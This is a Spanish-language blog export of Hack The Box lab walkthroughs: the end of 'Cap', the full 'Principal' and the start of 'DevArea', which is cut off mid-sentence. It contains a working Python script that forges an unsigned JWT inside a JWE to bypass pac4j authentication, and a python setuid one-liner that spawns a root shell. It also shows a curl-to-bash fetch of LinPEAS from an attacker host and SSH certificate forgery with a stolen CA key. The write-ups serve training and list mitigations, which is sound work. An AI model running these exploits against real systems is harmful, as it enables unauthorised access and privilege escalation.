2.1 Análisis de la Vulnerabilidad # El endpoint /data/\u0026lt;id\u0026gt; entrega el archivo PCAP correspondiente al ID sin ninguna verificación de autorización. Como los IDs son enteros secuenciales empezando en 0, podemos iterar desde cero para encontrar capturas con tráfico real generado antes de nuestra sesión.\nFlujo normal: usuario genera captura → recibe /data/\u0026lt;su_id\u0026gt; Flujo malicioso: atacante solicita /data/0 → recibe captura ajena con tráfico real 2.2 Extracción de Credenciales con Wireshark # Descargamos el PCAP del ID=0 y lo abrimos con Wireshark. Filtramos por protocolo FTP:\nFiltro Wireshark: ftp FTP transmite las credenciales en texto claro sin ningún cifrado. En el tráfico capturado vemos el intercambio completo de autenticación:\n→ Request: USER nathan ← Response: 331 Please specify password → Request: PASS Buck3tH4TF0RM3! ← Response: 230 Login successful 🔑 Credenciales obtenidas: nathan:Buck3tH4TF0RM3!\n3. User Flag # Las credenciales FTP son un candidato directo para SSH por reutilización de contraseñas — es un error muy frecuente usar la misma contraseña en múltiples servicios del mismo sistema:\nssh nathan@10.129.19.177 # Password: Buck3tH4TF0RM3! Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64) nathan@cap:~$ nathan@cap:~$ cat user.txt 🔑 Flag de usuario obtenida.\n4. Escalada de Privilegios — Linux Capability cap_setuid # 4.1 Enumeración del Sistema # nathan@cap:~$ sudo -l Sorry, user nathan may not run sudo on cap. nathan@cap:~$ id uid=1001(nathan) gid=1001(nathan) groups=1001(nathan) Sin sudo. Ejecutamos LinPEAS para buscar vectores de escalada:\n# En la máquina atacante python3 -m http.server 8000 # En la máquina víctima curl -L http://10.10.15.237/linpeas.sh | bash LinPEAS detecta algo crítico en la sección de Linux Capabilities:\nFiles with capabilities: /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip 4.2 Análisis del Vector de Escalada # Las Linux Capabilities son un mecanismo del kernel que divide los privilegios de root en unidades más pequeñas y granulares. En lugar de conceder acceso root completo, se puede asignar solo la capacidad específica que un proceso necesita. El problema surge cuando esa capacidad es demasiado poderosa.\nLa capability cap_setuid permite al proceso cambiar su UID efectivo a cualquier valor, incluido el 0 (root). Al estar asignada al binario /usr/bin/python3.8, cualquier script Python ejecutado con ese intérprete puede llamar a os.setuid(0) y convertirse en root.\nPodemos encontrar todos los binarios con capabilities en el sistema con:\ngetcap -r / 2\u0026gt;/dev/null 💡 Diferencia con el bit SUID: Un binario con SUID siempre ejecuta con el UID del propietario del archivo. Las capabilities son más granulares, pero cap_setuid es igual de peligrosa — en la práctica, ambas permiten escalar a root si el binario es un intérprete de scripts como Python.\n4.3 Explotación # El exploit se reduce a dos líneas de Python: cambiar el UID efectivo a 0 y abrir una shell con ese contexto.\nnathan@cap:~$ python3.8 -c \u0026#34;import os; os.setuid(0); os.system(\u0026#39;/bin/bash\u0026#39;)\u0026#34; root@cap:~# id uid=0(root) gid=1000(nathan) groups=1000(nathan) ✅ Shell de root obtenida mediante cap_setuid en Python 3.8.\n5. Root Flag # root@cap:~# cat /root/root.txt 🏁 Flag de root obtenida.\n6. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Puerto 80 con Security Dashboard (Gunicorn/Python); FTP sin acceso anónimo. IDOR → Endpoint /data/0 sirve PCAP ajeno sin verificar autorización. Análisis PCAP → Wireshark filtra tráfico FTP → credenciales nathan:Buck3tH4TF0RM3! en texto claro. Foothold → SSH con credenciales reutilizadas → user.txt. PrivEsc → LinPEAS detecta cap_setuid en /usr/bin/python3.8 → os.setuid(0) → shell como root → root.txt. Lo que aprendí con esta máquina:\nIDOR es una vulnerabilidad de lógica, no de tecnología. No requiere ningún exploit complejo — solo cambiar un número en la URL. La defensa tampoco es compleja: verificar en el servidor que el recurso solicitado pertenece al usuario autenticado antes de servirlo. Lo que hace que IDOR sea peligroso es lo invisible que resulta sin una revisión activa del código.\nFTP transmite credenciales en texto claro — siempre. No hay modo cifrado en FTP estándar. Cualquier captura de tráfico de red que incluya una sesión FTP contendrá las credenciales legibles directamente. La alternativa es SFTP (SSH File Transfer Protocol) o FTPS (FTP sobre TLS), que cifran la comunicación completa.\nLa reutilización de contraseñas entre servicios del mismo sistema es un multiplicador de riesgo. Una credencial comprometida en FTP se convirtió en acceso SSH. Política básica: cada servicio debe tener credenciales independientes.\ncap_setuid en un intérprete de scripts es equivalente a root. A diferencia de un binario compilado donde el control de flujo está fijo, un intérprete como Python ejecuta cualquier código arbitrario. Asignar cap_setuid a Python es efectivamente dar root a cualquier usuario que pueda ejecutar scripts Python — las capabilities solo son seguras en binarios con funcionalidad muy acotada.\nLinPEAS y la enumeración de capabilities son pasos obligatorios en PrivEsc de Linux. Los checks habituales (sudo, SUID, cron) no cubren capabilities. getcap -r / 2\u0026gt;/dev/null debería ser siempre parte del checklist de enumeración post-acceso.\nMitigaciones:\nVector Mitigación IDOR en /data/\u0026lt;id\u0026gt; Verificar en el servidor que el ID solicitado pertenece al usuario autenticado antes de servir el archivo FTP en texto claro Reemplazar FTP por SFTP o FTPS; nunca transmitir credenciales sin cifrar Reutilización de contraseñas Política de credenciales únicas por servicio; gestor de contraseñas cap_setuid en Python 3.8 Eliminar la capability: setcap -r /usr/bin/python3.8; auditar regularmente con getcap -r / ","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/posts/htb-cap/","section":"Posts","summary":" Resolución de Cap en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux (Ubuntu 20.04 LTS). Explotamos un IDOR en un endpoint de descarga de capturas de red para obtener credenciales FTP en texto claro, accedemos por SSH reutilizando la contraseña, y escalamos a root aprovechando la capability cap_setuid asignada al binario de Python 3.8. HackTheBox Linux Easy ","title":"HTB Walkthrough: Cap","type":"posts"},{"content":" Resolución paso a paso de Principal en Hack The Box. Máquina de dificultad Medium con sistema operativo Linux (Ubuntu 24.04 LTS). Encadenamos un bypass de autenticación JWT mediante CVE-2026-29000, extracción de credenciales desde un dashboard administrativo y escalada de privilegios a root forjando un certificado SSH con la CA privada del servidor. HackTheBox Linux Medium 🗺️ Información de la Máquina # Campo Detalle Nombre Principal OS Linux (Ubuntu 24.04 LTS) Dificultad Medium IP 10.129.244.220 Técnicas CVE-2026-29000 · PlainJWT Bypass · SSH Certificate Forgery · Credential Exposure 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.244.220 PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy Solo dos puertos. Lanzamos un escaneo de versiones sobre ellos:\nnmap -sC -sV -p22,8080 10.129.244.220 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 8080/tcp open http-proxy Jetty | http-title: Principal Internal Platform - Login |_Requested resource was /login | X-Powered-By: pac4j-jwt/6.0.3 Puertos abiertos:\n22 → OpenSSH 9.6p1 (sin CVEs relevantes — destino final, no punto de entrada) 8080 → Jetty con pac4j-jwt/6.0.3 💡 Dato clave: La cabecera X-Powered-By: pac4j-jwt/6.0.3 es information disclosure — revela la librería de autenticación y su versión exacta, lo que nos permite buscar CVEs directamente. Siempre revisar las cabeceras HTTP de respuesta durante la enumeración.\n1.2 Enumeración Web # Navegamos a http://10.129.244.220:8080 y encontramos un formulario de login corporativo. Sin credenciales, pasamos a analizar lo que está disponible públicamente.\nLos archivos JS del lado del cliente son una fuente de inteligencia importante: los desarrolladores frecuentemente dejan endpoints, estructuras de datos y comentarios que describen la arquitectura interna. El archivo /static/js/app.js revela todo lo que necesitamos:\nconst JWKS_ENDPOINT = \u0026#39;/api/auth/jwks\u0026#39;; // Clave pública RSA — acceso público const AUTH_ENDPOINT = \u0026#39;/api/auth/login\u0026#39;; const DASHBOARD_ENDPOINT = \u0026#39;/api/dashboard\u0026#39;; const SETTINGS_ENDPOINT = \u0026#39;/api/settings\u0026#39;; const ROLES = { ADMIN: \u0026#39;ROLE_ADMIN\u0026#39;, MANAGER: \u0026#39;ROLE_MANAGER\u0026#39;, USER: \u0026#39;ROLE_USER\u0026#39; }; // Token handling: // - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM // - Public key available at /api/auth/jwks for token verification // - Inner JWT is signed with RS256 // // JWT claims schema: // sub - username // role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER // iss - \u0026#34;principal-platform\u0026#34; 1.3 Arquitectura de Autenticación # El sistema usa JWE (JSON Web Encryption), que es un JWT cifrado. La estructura es:\nJWE (capa externa — cifrado RSA-OAEP-256 con clave pública del servidor) └── JWT firmado con RS256 (capa interna — los claims reales: usuario, rol, etc.) Esto implica dos operaciones separadas: primero el servidor descifra el JWE, luego verifica la firma del JWT interior. Esta separación es exactamente lo que el CVE va a explotar.\nLa clave pública RSA está disponible sin autenticación en /api/auth/jwks:\ncurl http://10.129.244.220:8080/api/auth/jwks { \u0026#34;keys\u0026#34;: [{ \u0026#34;kty\u0026#34;: \u0026#34;RSA\u0026#34;, \u0026#34;use\u0026#34;: \u0026#34;enc\u0026#34;, \u0026#34;kid\u0026#34;: \u0026#34;enc-key-1\u0026#34;, \u0026#34;n\u0026#34;: \u0026#34;0vx7ago...\u0026#34;, \u0026#34;e\u0026#34;: \u0026#34;AQAB\u0026#34; }] } Esta clave nos permite cifrar nosotros mismos la capa JWE — el servidor podrá descifrarla (tiene la clave privada), pero el JWT que metamos dentro estará bajo nuestro control.\n💡 Conclusiones: Tenemos la clave pública RSA para cifrar tokens, conocemos la estructura exacta de los claims y sabemos que el campo role controla el acceso. Si logramos que el servidor acepte un token con ROLE_ADMIN sin verificar la firma del JWT interior, tenemos acceso total.\n2. Explotación — CVE-2026-29000 # 2.1 Análisis de la Vulnerabilidad # La versión pac4j-jwt 6.0.3 es vulnerable a este CVE (afecta versiones anteriores a 4.5.9, 5.7.9 y 6.3.3). El fallo está en cómo pac4j procesa los tokens JWE cuando el JWT interno es un PlainJWT (\u0026quot;alg\u0026quot;: \u0026quot;none\u0026quot; — sin firma).\n¿Cómo funciona el ataque?\nEn condiciones normales, pac4j descifra el JWE y luego verifica la firma del JWT interno. El bug ocurre cuando el JWT interior tiene alg: none: la función toSignedJWT() devuelve null en lugar de lanzar una excepción, y el código que la llama no comprueba ese null antes de continuar. El resultado es que pac4j extrae los claims del PlainJWT sin haber verificado ninguna firma, aceptando cualquier role que el atacante haya puesto.\nFlujo normal: JWE válido → JWT firmado RS256 → verificar firma → extraer claims Flujo malicioso: JWE válido → PlainJWT (alg:none) → toSignedJWT() = null → claims aceptados sin verificación La clave del bypass: ciframos la capa JWE con la clave pública real del servidor, así que el descifrado externo es completamente válido. El problema está en el interior.\n2.2 Script de Explotación # Exploit disponible en: CVE-2026-29000 PoC\npip install jwcrypto requests #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; CVE-2026-29000 — pac4j-jwt PlainJWT Authentication Bypass Uso: python3 cve.py http://10.129.244.220:8080 \u0026#34;\u0026#34;\u0026#34; import json, time, base64, requests, sys from jwcrypto import jwk, jwe TARGET_URL = sys.argv[1].rstrip(\u0026#39;/\u0026#39;) JWKS_ENDPOINT = f\u0026#34;{TARGET_URL}/api/auth/jwks\u0026#34; PROTECTED_ENDPOINT = f\u0026#34;{TARGET_URL}/api/dashboard\u0026#34; def b64_encode(data): # Base64 URL-safe sin padding — formato requerido por el estándar JWT return base64.urlsafe_b64encode(data).rstrip(b\u0026#39;=\u0026#39;).decode() # 1. Obtener la clave pública RSA del endpoint público print(f\u0026#34;[*] Obteniendo clave pública de {JWKS_ENDPOINT}...\u0026#34;) r = requests.get(JWKS_ENDPOINT, timeout=10) key_data = r.json()[\u0026#39;keys\u0026#39;][0] public_key = jwk.JWK(**key_data) print(f\u0026#34;[+] Clave RSA \u0026#39;{key_data.get(\u0026#39;kid\u0026#39;)}\u0026#39; cargada.\u0026#34;) # 2. Claims maliciosos con ROLE_ADMIN now = int(time.time()) claims = { \u0026#34;sub\u0026#34;: \u0026#34;admin#override\u0026#34;, \u0026#34;role\u0026#34;: \u0026#34;ROLE_ADMIN\u0026#34;, # El claim que nos da acceso total \u0026#34;iss\u0026#34;: \u0026#34;principal-platform\u0026#34;, # Debe coincidir con lo que espera el servidor \u0026#34;iat\u0026#34;: now, \u0026#34;exp\u0026#34;: now + 3600 } # 3. Construir el PlainJWT (alg: none — sin firma) # Formato: base64(header).base64(payload). # El punto final vacío indica ausencia de firma header_plain = b64_encode(json.dumps({\u0026#34;alg\u0026#34;: \u0026#34;none\u0026#34;}).encode()) payload_plain = b64_encode(json.dumps(claims).encode()) plain_jwt_string = f\u0026#34;{header_plain}.{payload_plain}.\u0026#34; # 4. Envolver el PlainJWT en un JWE cifrado con la clave pública real del servidor # La capa exterior es criptográficamente válida — el servidor puede descifrarla. # Pero el JWT interior no tiene firma: aquí está el bypass. jwe_header = { \u0026#34;alg\u0026#34;: \u0026#34;RSA-OAEP-256\u0026#34;, \u0026#34;enc\u0026#34;: \u0026#34;A256GCM\u0026#34;, \u0026#34;cty\u0026#34;: \u0026#34;JWT\u0026#34;, # Indica al servidor que el contenido descifrado es un JWT \u0026#34;kid\u0026#34;: key_data.get(\u0026#39;kid\u0026#39;) } jwe_obj = jwe.JWE( plain_jwt_string.encode(), recipient=public_key, protected=json.dumps(jwe_header) ) malicious_token = jwe_obj.serialize(compact=True) print(\u0026#34;[+] Token JWE malicioso generado.\u0026#34;) # 5. Enviar el token al endpoint protegido headers = {\u0026#34;Authorization\u0026#34;: f\u0026#34;Bearer {malicious_token}\u0026#34;} resp = requests.get(PROTECTED_ENDPOINT, headers=headers) print(f\u0026#34;\\n[!] TOKEN PARA EL NAVEGADOR:\\n{malicious_token}\\n\u0026#34;) print(f\u0026#34;Status: {resp.status_code}\u0026#34;) if resp.status_code == 200: print(\u0026#34;[!!!] BYPASS EXITOSO — Acceso como ADMIN\u0026#34;) print(resp.text) 2.3 Ejecución # python3 cve.py http://10.129.244.220:8080 [*] Obteniendo clave pública de http://10.129.244.220:8080/api/auth/jwks... [+] Clave RSA \u0026#39;enc-key-1\u0026#39; cargada. [+] Token JWE malicioso generado. Status: 200 [!!!] BYPASS EXITOSO — Acceso como ADMIN La respuesta del dashboard incluye el log de actividad del sistema. Entre las entradas encontramos:\n{ \u0026#34;action\u0026#34;: \u0026#34;CERT_ISSUED\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;svc-deploy\u0026#34;, \u0026#34;details\u0026#34;: \u0026#34;SSH certificate issued for deploy-1735400000\u0026#34;, \u0026#34;timestamp\u0026#34;: \u0026#34;2026-03-05T21:43:40.443553\u0026#34; } El usuario svc-deploy gestiona autenticación SSH mediante certificados — candidato directo para el acceso inicial.\n2.4 Acceso al Dashboard desde el Navegador # Para explorar la interfaz como administrador, inyectamos el token en el Session Storage del navegador (donde la aplicación SPA almacena el token de sesión):\nAbrir http://10.129.244.220:8080/login → F12 → Application → Session Storage Crear entrada: Key auth_token / Value (pegar el token del script) Navegar a http://10.129.244.220:8080/dashboard En la sección Settings encontramos credenciales del sistema en texto claro:\nencryptionKey: D3pl0y_$$H_Now42! sshCertAuth: enabled sshCaPath: /opt/principal/ssh/ 🔑 Cruzando el usuario svc-deploy del log con la contraseña del Settings, tenemos credenciales SSH directas.\n3. User Flag # ssh svc-deploy@10.129.244.220 # Password: D3pl0y_$$H_Now42! Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64) svc-deploy@principal:~$ svc-deploy@principal:~$ cat user.txt 🔑 Flag de usuario obtenida.\n4. Escalada de Privilegios # 4.1 Enumeración del Sistema # svc-deploy@principal:~$ sudo -l Sorry, user svc-deploy may not run sudo on principal. svc-deploy@principal:~$ id uid=1001(svc-deploy) gid=1001(svc-deploy) groups=1001(svc-deploy),1002(deployers) Sin sudo, pero el usuario pertenece al grupo deployers. Buscamos qué recursos son accesibles para ese grupo:\nsvc-deploy@principal:~$ find / -group deployers 2\u0026gt;/dev/null /etc/ssh/sshd_config.d/60-principal.conf /opt/principal/ssh /opt/principal/ssh/README.txt /opt/principal/ssh/ca ← Clave privada de la CA de SSH El archivo /opt/principal/ssh/ca es una clave privada de Autoridad Certificadora SSH accesible para nuestro grupo. Esto es crítico.\n4.2 Análisis de la Configuración SSH # SSH puede autenticar usuarios mediante certificados firmados por una CA. El servidor define en su configuración qué CA es de confianza, y acepta la conexión de cualquier usuario cuyo certificado haya sido firmado por ella. Quien controle la clave privada de la CA puede firmar certificados para cualquier usuario del sistema, incluyendo root.\nsvc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf PubkeyAuthentication yes PasswordAuthentication yes PermitRootLogin prohibit-password TrustedUserCAKeys /opt/principal/ssh/ca.pub TrustedUserCAKeys /opt/principal/ssh/ca.pub → El servidor confía en cualquier certificado firmado por esta CA. Tenemos lectura sobre la clave privada correspondiente. PermitRootLogin prohibit-password → Root no puede autenticarse con contraseña, pero sí puede con certificado. La misconfiguration crítica es la ausencia de AuthorizedPrincipalsFile. Sin ella, el único control de acceso es que el principal del certificado (el campo que declara \u0026ldquo;este certificado es para el usuario X\u0026rdquo;) coincida con el usuario al que se intenta conectar. No hay ninguna lista que limite qué principales son válidos para cada cuenta — si firmamos un certificado con root como principal, SSH lo acepta.\n💡 El mismo patrón que el CVE: el sistema verifica la envoltura criptográfica (el certificado está firmado por la CA de confianza), pero no controla la afirmación de identidad interior (el principal del certificado). En ambos vectores de esta máquina, verificar la capa exterior da una falsa sensación de seguridad.\n4.3 Forja del Certificado SSH # Paso 1 — Generar un par de claves temporal:\nsvc-deploy@principal:/tmp$ ssh-keygen -t ed25519 -f /tmp/paw -N \u0026#34;\u0026#34; Generamos las claves en /tmp con passphrase vacía para no necesitar interacción.\nPaso 2 — Firmar la clave pública con la CA privada, especificando root como principal:\nsvc-deploy@principal:/tmp$ ssh-keygen -s /opt/principal/ssh/ca \\ -I \u0026#34;pwa-root\u0026#34; \\ -n root \\ -V +1h \\ /tmp/paw.pub -s /opt/principal/ssh/ca → Clave privada de la CA. Sin este archivo, la escalada sería imposible. -I \u0026quot;pwa-root\u0026quot; → Identificador del certificado (arbitrario, aparece en logs). -n root → El principal del certificado. Declara que este certificado autoriza el acceso a root. Sin AuthorizedPrincipalsFile, SSH acepta esta declaración sin restricciones adicionales. -V +1h → Validez de 1 hora. Signed user key /tmp/paw-cert.pub: id \u0026#34;pwa-root\u0026#34; serial 0 for root valid from 2026-04-14T09:51:00 to 2026-04-14T10:51:59 Paso 3 — Verificar el certificado:\nsvc-deploy@principal:/tmp$ ssh-keygen -L -f /tmp/paw-cert.pub /tmp/paw-cert.pub: Type: ssh-ed25519-cert-v01@openssh.com user certificate Signing CA: RSA SHA256:bExSfFTUaopPXEM+lTW6QM0uXnsy7CICk0+p0UKK3ps Key ID: \u0026#34;pwa-root\u0026#34; Valid: from 2026-04-14T09:51:00 to 2026-04-14T10:51:59 Principals: root Extensions: permit-pty permit-port-forwarding ... El certificado está firmado por la CA correcta y declara root como principal.\nPaso 4 — Conectarse como root:\nsvc-deploy@principal:/tmp$ ssh -i /tmp/paw root@localhost SSH detecta automáticamente el certificado /tmp/paw-cert.pub. El servidor verifica que está firmado por la CA de confianza, que el principal root coincide con el usuario solicitado, y abre la sesión.\nWelcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64) root@principal:~# ✅ Root obtenido mediante certificado SSH forjado.\n5. Root Flag # root@principal:~# cat /root/root.txt 🏁 Flag de root obtenida.\n6. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → X-Powered-By: pac4j-jwt/6.0.3 — information disclosure directo a CVE. Enumeración web → JS del frontend revela arquitectura JWE/JWT, endpoint JWKS público y estructura de claims. CVE-2026-29000 → PlainJWT (alg:none) dentro de JWE válido bypasea la verificación de firma → ROLE_ADMIN. Dashboard → Log revela usuario svc-deploy; Settings expone contraseña en texto claro. Foothold → SSH con credenciales directas → user.txt. PrivEsc → Grupo deployers tiene lectura sobre la CA privada SSH + TrustedUserCAKeys sin AuthorizedPrincipalsFile → certificado forjado con principal root → root.txt. Lo que aprendí con esta máquina:\nLas cabeceras HTTP revelan mucho. X-Powered-By con versión exacta es el punto de partida de toda la cadena. Siempre revisar las cabeceras de respuesta durante la enumeración.\nEl JS del frontend no es decoración. Los comentarios del desarrollador describían la arquitectura entera de autenticación. Todo lo que se sirve al navegador puede leerlo el atacante.\nCVE-2026-29000: el principio \u0026ldquo;fail securely\u0026rdquo;. El bug no es criptográfico — RSA-OAEP y AES-GCM son seguros. El fallo es que toSignedJWT() devuelve null silenciosamente ante un PlainJWT en lugar de lanzar excepción. Un sistema seguro debe denegar el acceso ante cualquier condición anómala, nunca concederlo por defecto.\nTrustedUserCAKeys sin AuthorizedPrincipalsFile es una bomba de tiempo. La primera directiva define quién puede firmar certificados de confianza; la segunda limita qué identidades son válidas para cada usuario. Sin la segunda, cualquiera con la CA privada puede acceder como cualquier usuario del sistema.\nPermitRootLogin prohibit-password no protege contra certificados. Solo bloquea fuerza bruta de contraseñas. La protección correcta es PermitRootLogin no + sudo auditado.\nLos secretos nunca deben estar en la UI. La contraseña visible en el Settings del dashboard es el error que convierte el bypass de auth en acceso completo al sistema. Los secretos deben vivir en un vault (HashiCorp Vault, AWS Secrets Manager), nunca en la base de datos de la aplicación.\nMitigaciones:\nVector Mitigación Information disclosure (X-Powered-By) Eliminar o generalizar cabeceras que revelan tecnología y versión CVE-2026-29000 (PlainJWT bypass) Actualizar pac4j-jwt a ≥ 6.3.3; rechazar alg: none explícitamente JWKS sin restricciones Proteger /api/auth/jwks por IP o con autenticación Credenciales en texto claro en la UI Usar un gestor de secretos; nunca exponer valores en la interfaz CA privada legible por grupo de servicio Almacenar en HSM o vault; sin permisos de lectura para cuentas de servicio TrustedUserCAKeys sin AuthorizedPrincipalsFile Configurar AuthorizedPrincipalsFile limitando principals por usuario; sin principals válidos para root PermitRootLogin prohibit-password Cambiar a PermitRootLogin no + gestión de acceso root mediante sudo auditado ","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/posts/htb-principal/","section":"Posts","summary":" Resolución paso a paso de Principal en Hack The Box. Máquina de dificultad Medium con sistema operativo Linux (Ubuntu 24.04 LTS). Encadenamos un bypass de autenticación JWT mediante CVE-2026-29000, extracción de credenciales desde un dashboard administrativo y escalada de privilegios a root forjando un certificado SSH con la CA privada del servidor. HackTheBox Linux Medium ","title":"HTB Walkthrough: Principal","type":"posts"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/idor/","section":"Tags","summary":"","title":"IDOR","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/jwe/","section":"Tags","summary":"","title":"JWE","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/jwt/","section":"Tags","summary":"","title":"JWT","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/linuxcapabilities/","section":"Tags","summary":"","title":"LinuxCapabilities","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/pac4j/","section":"Tags","summary":"","title":"Pac4j","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/pcap/","section":"Tags","summary":"","title":"PCAP","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/principal/","section":"Tags","summary":"","title":"Principal","type":"tags"},{"content":"","date":"14 de abril de 2026","externalUrl":null,"permalink":"/es/tags/wireshark/","section":"Tags","summary":"","title":"Wireshark","type":"tags"},{"content":"","date":"29 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/apachecxf/","section":"Tags","summary":"","title":"ApacheCXF","type":"tags"},{"content":"","date":"29 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/cve-2022-46364/","section":"Tags","summary":"","title":"CVE-2022-46364","type":"tags"},{"content":"","date":"29 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/devarea/","section":"Tags","summary":"","title":"Devarea","type":"tags"},{"content":"","date":"29 de marzo de 2026","externalUrl":null,"permalink":"/es/tags/hoverfly/","section":"Tags","summary":"","title":"Hoverfly","type":"tags"},{"content":" Resolución de DevArea en Hack The Box. Máquina de dificultad Medium con sistema operativo Linux Ubuntu. Un servicio Java SOAP descargado via FTP anónimo resulta ser Apache CXF 3.2.14, vulnerable al CVE-2022-46364 (XOP Include LFI). Usamos el fallo para leer credenciales de Hoverfly desde la configuración de systemd y obtenemos RCE mediante el sistema de Middleware. La escalada a root aprovecha un PATH Hijacking en un script ejecutado con sudo. HackTheBox Linux Medium 🗺️ Información de la Máquina # Campo Detalle Nombre DevArea OS Linux (Ubuntu) Dificultad Medium IP 10.129.10.216 Técnicas CVE-2022-46364 · XOP Include LFI · Hoverfly Middleware RCE · Bash PATH Hijacking · SUID 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.10.216 PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy 8500/tcp open fmtp 8888/tcp open sun-answerbook Escaneo de versiones y scripts sobre los puertos abiertos:\nnmap -sC -sV -p21,22,80,8080,8500,8888 10.129.10.216 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 80/tcp open http Apache httpd 2.4.58 |_http-title: Did not follow redirect to http://devarea.htb/ 8080/tcp open http Jetty 9.4.27.v20200227 |_http-title: Error 404 Not Found 8500/tcp open http Golang net/http server (Proxy — requiere auth) 8888/tcp open http Golang net/http server |_http-title: Hoverfly Dashboard Puertos abiertos:\n21 → FTP vsftpd con acceso anónimo habilitado 22 → OpenSSH 9.6p1, sin exploits públicos conocidos 80 → Apache 2.4.58 con virtual hosting a devarea.htb 8080 → Jetty 9.4.27 — servicio Java, devuelve 404 en raíz 8500 → Proxy Go con autenticación 8888 → Hoverfly Dashboard — herramienta de virtualización de servicios 💡 Superficie de ataque: La combinación de FTP anónimo + Jetty + Hoverfly es inusual. El FTP probablemente exponga algún artefacto del servicio que corre en Jetty; Hoverfly es una herramienta que puede ejecutar código si conseguimos autenticarnos.\n2. Enumeración Web y FTP # 2.1 Enumeración Web (Puerto 80) # Añadimos devarea.htb a /etc/hosts y lanzamos gobuster en modo vhost:\nsudo sh -c \u0026#34;echo \u0026#39;10.129.10.216 devarea.htb\u0026#39; \u0026gt;\u0026gt; /etc/hosts\u0026#34; gobuster vhost -u http://devarea.htb -w subdomains.txt Found: weather.devarea.htb → 302 → http://devarea.htb/ Found: webapps.devarea.htb → 302 → http://devarea.htb/ Found: node1.devarea.htb → 302 → http://devarea.htb/ Todos los subdominios redirigen a la página principal. La web estática y el puerto 8080 no tienen contenido accionable por enumeración de directorios.\n2.2 FTP Anónimo # ftp 10.129.10.216 # Usuario: anonymous / Sin contraseña ftp\u0026gt; ls pub -rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar ftp\u0026gt; get employee-service.jar Descargamos el JAR — un servicio Java que presumiblemente corre en el puerto 8080.\n3. Análisis del JAR — Ingeniería Inversa # Descompilamos el JAR con jadx:\njadx -d /root/decompiled/ /root/employee-service.jar Los archivos relevantes están en sources/htb/devarea/. Filtramos el código de la aplicación eliminando dependencias de Apache, Jetty y javax:\nfind sources/ -name \u0026#34;*.java\u0026#34; | grep -vE \u0026#34;apache|jetty|javax|ibm\u0026#34; sources/htb/devarea/Report.java sources/htb/devarea/ServerStarter.java sources/htb/devarea/EmployeeServiceImpl.java sources/htb/devarea/EmployeeService.java 3.1 ServerStarter.java — Endpoint SOAP # public class ServerStarter { public static void main(String[] args) { JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean(); factory.setServiceClass(EmployeeService.class); factory.setServiceBean(new EmployeeServiceImpl()); factory.setAddress(\u0026#34;http://0.0.0.0:8080/employeeservice\u0026#34;); factory.create(); System.out.println(\u0026#34;WSDL available at http://localhost:8080/employeeservice?wsdl\u0026#34;); } } 💡 Descubrimiento clave: El servicio expone un endpoint SOAP en http://devarea.htb:8080/employeeservice. El WSDL en /employeeservice?wsdl describe su interfaz completa.\n3.2 EmployeeServiceImpl.java — El Campo Reflejado # public String submitReport(Report report) { String greeting = report.isConfidential() ? \u0026#34;Report marked confidential. Thank you, \u0026#34; + report.getEmployeeName() : \u0026#34;Report received from \u0026#34; + report.getEmployeeName(); return greeting + \u0026#34;. Department: \u0026#34; + report.getDepartment() + \u0026#34;. Content: \u0026#34; + report.getContent(); } 💡 Clave: El campo content se devuelve reflejado en la respuesta. Si conseguimos inyectar el contenido de un archivo en ese campo, lo veremos en la respuesta.\n3.3 pom.xml — Versión de Apache CXF # cat resources/META-INF/maven/com.environment/employee-service/pom.xml \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.apache.cxf\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;cxf-rt-frontend-jaxws\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;3.2.14\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; ⚠️ Versión vulnerable: Apache CXF 3.2.14 es afectada por CVE-2022-46364 (versiones anteriores a 3.5.5 y 3.4.10). Este CVE permite leer archivos arbitrarios del servidor mediante mensajes SOAP Multipart con elementos XOP Include.\n4. Explotación — CVE-2022-46364 (XOP Include LFI) # El ataque usa XOP (XML-binary Optimized Packaging) dentro de un mensaje Multipart SOAP. En lugar de una URL HTTP, se pasa una ruta de archivo local en el atributo href del elemento xop:Include. El servidor procesa la entidad, lee el archivo y lo 